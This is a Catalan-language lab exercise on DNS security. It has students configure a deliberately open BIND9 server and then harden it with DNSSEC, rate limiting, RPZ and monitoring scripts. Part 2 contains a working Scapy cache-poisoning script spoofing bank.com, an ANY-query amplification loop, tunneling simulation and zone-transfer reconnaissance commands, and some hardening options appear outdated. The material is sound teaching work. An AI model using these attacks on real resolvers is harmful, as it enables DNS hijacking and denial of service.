Activitat Aprofondiment AP100: Seguretat DNS i Mitigació d'Atacs
Objectius
- Identificar i analitzar diferents tipus d'atacs DNS
- Implementar DNSSEC en un entorn de producció
- Configurar mesures de mitigació contra atacs comuns
- Monitoritzar i detectar anomalies en el trànsit DNS
- Realitzar auditories de seguretat DNS
Requisits
- 3 màquines virtuals Ubuntu Server 22.04:
- DNS-Primary (192.168.3.10)
- DNS-Secondary (192.168.3.11)
- Attacker (192.168.3.100)
- 1 màquina client (192.168.3.50)
- Wireshark instal·lat per a anàlisi de trànsit
Temps estimat: 150 minuts
Part 1: Preparació del Laboratori d'Atacs (20 minuts)
1.1 Configuració del DNS Vulnerable
En DNS-Primary, crea un servidor DNS deliberadament vulnerable:
# Configura BIND9 amb opcions insegures per demostració
options {
recursion yes;
allow-recursion { any; }; # VULNERABLE!
allow-query { any; }; # VULNERABLE!
allow-transfer { any; }; # VULNERABLE!
dnssec-validation no; # VULNERABLE!
};
1.2 Instal·lació d'Eines d'Atac
En la màquina Attacker, instal·la:
# Eines per a testing DNS
sudo apt install -y dnsrecon dnsenum fierce
sudo apt install -y hping3 scapy python3-scapy
sudo apt install -y dnsutils net-tools
1.3 Configuració de Monitorització
En DNS-Primary, configura logging detallat:
logging {
channel security_file {
file "/var/log/bind/security.log" versions 3 size 10m;
severity dynamic;
print-time yes;
print-severity yes;
print-category yes;
};
channel query_file {
file "/var/log/bind/query.log" versions 3 size 50m;
severity info;
print-time yes;
};
category security { security_file; };
category queries { query_file; };
category query-errors { query_file; };
};
Part 2: Simulació i Anàlisi d'Atacs (30 minuts)
2.1 DNS Reconnaissance
Des de l'Attacker, executa:
# Enumeració DNS bàsica
dnsrecon -d empresa.local -n 192.168.3.10
# Zone transfer attempt
dig @192.168.3.10 empresa.local AXFR
# DNS enumeration
dnsenum empresa.local --server 192.168.3.10
# Subdomain brute force
fierce --domain empresa.local --dns-servers 192.168.3.10
Documenta: - Quina informació s'ha obtingut? - Quins registres de log s'han generat? - Com es podria prevenir aquesta enumeració?
2.2 DNS Cache Poisoning
Simula un intent de cache poisoning:
#!/usr/bin/env python3
# dns_poison_test.py
from scapy.all import *
import random
def poison_attempt():
# Crea paquet DNS maliciós
target_dns = "192.168.3.10"
spoofed_domain = "bank.com"
fake_ip = "192.168.3.100"
# Construeix query i response falsa
dns_query = IP(dst=target_dns)/UDP(dport=53)/\
DNS(rd=1, qd=DNSQR(qname=spoofed_domain))
# Envia múltiples respostes amb IDs aleatoris
for i in range(1000):
fake_response = IP(src="8.8.8.8", dst=target_dns)/\
UDP(sport=53, dport=53)/\
DNS(id=random.randint(0, 65535),
qr=1, aa=1, qd=DNSQR(qname=spoofed_domain),
an=DNSRR(rrname=spoofed_domain, ttl=86400,
rdata=fake_ip))
send(fake_response, verbose=0)
print(f"Poisoning attempt sent for {spoofed_domain}")
if __name__ == "__main__":
poison_attempt()
2.3 DNS Amplification Attack
Simula un atac d'amplificació:
# NOTA: Només per propòsits educatius en entorn controlat
# Genera consultes ANY per amplificació
for i in {1..100}; do
dig @192.168.3.10 ANY empresa.local +notcp +ignore
done
# Monitoritza l'impacte
watch -n 1 'netstat -su | grep -A 10 Udp'
2.4 DNS Tunneling Detection
Crea trànsit DNS sospitós:
# Simula DNS tunneling amb dades codificades
# Crea subdominis llargs i aleatoris
for i in {1..50}; do
RANDOM_DATA=$(openssl rand -base64 32 | tr -d '/+=' | cut -c1-30)
dig @192.168.3.10 $RANDOM_DATA.tunnel.empresa.local
done
Part 3: Implementació de DNSSEC (30 minuts)
3.1 Generació de Claus DNSSEC
En DNS-Primary:
# Crea directori per a les claus
sudo mkdir -p /etc/bind/keys
cd /etc/bind/keys
# Genera KSK (Key Signing Key)
sudo dnssec-keygen -a RSASHA256 -b 4096 -n ZONE -f KSK empresa.local
# Genera ZSK (Zone Signing Key)
sudo dnssec-keygen -a RSASHA256 -b 2048 -n ZONE empresa.local
# Inclou les claus a la zona
echo "\$INCLUDE \"/etc/bind/keys/Kempresa.local.+008+*.key\"" >> /etc/bind/zones/db.empresa.local
3.2 Signatura de la Zona
# Signa la zona
sudo dnssec-signzone -A -3 $(head -c 1000 /dev/random | sha1sum | cut -b 1-16) \
-N INCREMENT -o empresa.local -t \
/etc/bind/zones/db.empresa.local
# Actualitza la configuració per usar la zona signada
# A /etc/bind/named.conf.local:
zone "empresa.local" {
type master;
file "/etc/bind/zones/db.empresa.local.signed";
# ...
};
3.3 Configuració del Trust Anchor
# Extreu el DS record per al parent zone
sudo dnssec-dsfromkey Kempresa.local.+008+*.key
# Configura trust anchor al resolver
# A /etc/bind/named.conf.options:
trusted-keys {
empresa.local. 257 3 8 "AwEAAb..."; # Afegeix la clau pública KSK
};
3.4 Verificació DNSSEC
# Verifica la signatura
dig @localhost empresa.local DNSKEY +dnssec
# Verifica la cadena de confiança
delv @localhost www.empresa.local
# Comprova l'estat DNSSEC
sudo rndc dnssec -status empresa.local
Part 4: Hardenització del Servidor DNS (25 minuts)
4.1 Configuració Segura de BIND
Actualitza /etc/bind/named.conf.options:
options {
directory "/var/cache/bind";
# Seguretat bàsica
recursion yes;
allow-recursion { 192.168.3.0/24; localhost; };
allow-query { 192.168.3.0/24; localhost; };
allow-query-cache { 192.168.3.0/24; localhost; };
# Prevenir zone transfers no autoritzades
allow-transfer { 192.168.3.11; }; # Només al secundari
# DNSSEC
dnssec-enable yes;
dnssec-validation yes;
dnssec-lookaside auto;
# Amagar informació
version "DNS Server";
hostname none;
server-id none;
# Rate limiting
rate-limit {
responses-per-second 10;
window 5;
slip 2;
qps-scale 250;
exempt-clients { 192.168.3.0/24; };
};
# Protecció contra poisoning
use-id-pool yes;
random-device "/dev/urandom";
};
4.2 Implementació de Response Policy Zones (RPZ)
Crea una RPZ per bloquejar dominis maliciosos:
# Crea fitxer RPZ
sudo nano /etc/bind/zones/db.rpz
$TTL 300
@ IN SOA localhost. root.localhost. (
2024010101 ; Serial
3600 ; Refresh
1800 ; Retry
604800 ; Expire
86400 ) ; Minimum TTL
IN NS localhost.
; Dominis a bloquejar
malware.com IN CNAME .
phishing.net IN CNAME .
*.badsite.org IN CNAME .
; IPs a bloquejar
32.1.0.0.127.rpz-ip IN CNAME . ; Bloqueja 127.0.0.1/32
Configura la RPZ a named.conf:
response-policy {
zone "rpz" policy NXDOMAIN;
};
zone "rpz" {
type master;
file "/etc/bind/zones/db.rpz";
};
4.3 Configuració de Chroot Environment
# Configura BIND en chroot per aïllament
sudo apt install -y bind9-chroot
# El servei s'executarà automàticament en chroot
sudo systemctl restart bind9-chroot
Part 5: Monitorització i Anàlisi (20 minuts)
5.1 Script de Monitorització
Crea un script per monitoritzar anomalies:
#!/bin/bash
# dns-monitor.sh
LOG_FILE="/var/log/bind/query.log"
ALERT_FILE="/var/log/dns-alerts.log"
# Detecta consultes sospitoses
detect_tunneling() {
# Busca subdominis anormalment llargs
grep "query:" $LOG_FILE | tail -1000 | \
awk '{print $8}' | \
awk -F'.' '{if(length($1) > 50) print}' | \
while read domain; do
echo "[ALERT] Possible DNS tunneling: $domain" >> $ALERT_FILE
done
}
# Detecta volum anormal de consultes
detect_ddos() {
# Compta consultes per IP en l'últim minut
THRESHOLD=100
COUNT=$(grep "query:" $LOG_FILE | tail -1000 | \
awk '{print $6}' | sort | uniq -c | \
awk -v t=$THRESHOLD '$1 > t {print $2}')
if [ ! -z "$COUNT" ]; then
echo "[ALERT] Possible DDoS from: $COUNT" >> $ALERT_FILE
fi
}
# Detecta zone transfer attempts
detect_axfr() {
grep "AXFR" $LOG_FILE | tail -10 | \
while read line; do
echo "[ALERT] Zone transfer attempt: $line" >> $ALERT_FILE
done
}
# Execució principal
while true; do
detect_tunneling
detect_ddos
detect_axfr
sleep 60
done
5.2 Anàlisi amb Wireshark
Captura i analitza trànsit DNS:
# Captura trànsit DNS
sudo tcpdump -i any -w dns_traffic.pcap port 53
# O amb tshark per anàlisi en temps real
sudo tshark -i any -f "port 53" -Y "dns.flags.response == 0" \
-T fields -e frame.time -e ip.src -e dns.qry.name
Filtres Wireshark útils:
- dns.flags.response == 0 - Només queries
- dns.flags.response == 1 - Només respostes
- dns.qry.type == 255 - Consultes ANY
- dns.flags.rcode != 0 - Errors DNS
- dns.qry.name contains "tunnel" - Possible tunneling
5.3 Dashboard de Monitorització
Crea un dashboard simple:
#!/bin/bash
# dns-dashboard.sh
clear
echo "=== DNS Security Dashboard ==="
echo "Time: $(date)"
echo ""
echo "--- Service Status ---"
systemctl status bind9 | grep Active
echo ""
echo "--- Last 10 Queries ---"
tail -10 /var/log/bind/query.log | awk '{print $4, $6, $8}'
echo ""
echo "--- Query Statistics ---"
echo "Total queries today: $(grep -c "query:" /var/log/bind/query.log)"
echo "Unique clients: $(grep "query:" /var/log/bind/query.log | awk '{print $6}' | sort -u | wc -l)"
echo ""
echo "--- Top 10 Queried Domains ---"
grep "query:" /var/log/bind/query.log | \
awk '{print $8}' | sort | uniq -c | sort -rn | head -10
echo ""
echo "--- Security Alerts ---"
tail -5 /var/log/dns-alerts.log 2>/dev/null || echo "No alerts"
Part 6: Resposta a Incidents (15 minuts)
6.1 Procediment de Resposta
Documenta i executa el següent procediment:
-
Detecció:
-
Contenció:
-
Eradicació:
-
Recuperació:
-
Lliçons apreses:
- Documenta l'incident
- Actualitza configuració
- Millora monitorització
6.2 Script d'Emergència
#!/bin/bash
# emergency-dns.sh
# Script per mitigació ràpida d'atacs
case "$1" in
block-amplification)
# Bloqueja consultes ANY
iptables -A INPUT -p udp --dport 53 -m string \
--hex-string "|00 00 ff 00 01|" --algo bm -j DROP
echo "Amplification mitigation activated"
;;
block-ip)
iptables -I INPUT -s $2 -p udp --dport 53 -j DROP
echo "Blocked IP: $2"
;;
emergency-stop)
systemctl stop bind9
iptables -A INPUT -p udp --dport 53 -j DROP
iptables -A INPUT -p tcp --dport 53 -j DROP
echo "DNS service stopped and ports blocked"
;;
restore)
iptables -D INPUT -p udp --dport 53 -j DROP
iptables -D INPUT -p tcp --dport 53 -j DROP
systemctl start bind9
echo "DNS service restored"
;;
*)
echo "Usage: $0 {block-amplification|block-ip IP|emergency-stop|restore}"
exit 1
;;
esac
Part 7: Auditoria Final (10 minuts)
7.1 Checklist de Seguretat
Verifica els següents punts:
- Recursió limitada a xarxes de confiança
- Zone transfers restringides
- DNSSEC implementat i funcional
- Rate limiting actiu
- Versió de BIND amagada
- Logs configurats correctament
- Firewall configurat
- RPZ implementada
- Monitorització activa
- Procediment de resposta documentat
7.2 Test de Penetració Final
# Executa test complet
nmap -sU -sV -p 53 --script dns-* 192.168.3.10
# Verifica DNSSEC
dig +dnssec +multi www.empresa.local
# Intenta zone transfer
dig @192.168.3.10 empresa.local AXFR
# Test de recursió
dig @192.168.3.10 google.com
Entregables
- Informe de Seguretat (PDF):
- Vulnerabilitats identificades inicialment
- Atacs simulats i resultats
- Mesures de mitigació implementades
- Resultats dels tests finals
-
Recomanacions addicionals
-
Configuracions:
- named.conf.options (segur)
- Fitxers de zona amb DNSSEC
- Configuració RPZ
-
Scripts de monitorització
-
Evidències:
- Captures de Wireshark dels atacs
- Logs abans i després de la mitigació
-
Captures de pantalla del dashboard
-
Documentació:
- Procediment de resposta a incidents
- Manual d'operacions segures
- Checklist de seguretat completada
Criteris d'Avaluació
| Criteri | Puntuació |
|---|---|
| Identificació de vulnerabilitats | 15% |
| Simulació d'atacs correcta | 15% |
| Implementació DNSSEC | 20% |
| Mesures de hardenització | 20% |
| Monitorització efectiva | 10% |
| Resposta a incidents | 10% |
| Documentació i informe | 10% |
Referències i Recursos
- DNSSEC Tools: https://www.dnssec-tools.org/
- BIND Security Advisory: https://www.isc.org/bind/security/
- SANS DNS Security: https://www.sans.org/white-papers/
- CIS BIND Benchmark: https://www.cisecurity.org/benchmark/bind
Nota: Totes les tècniques d'atac mostrades són exclusivament per a propòsits educatius en entorns controlats. L'ús malintencionat d'aquestes tècniques és il·legal.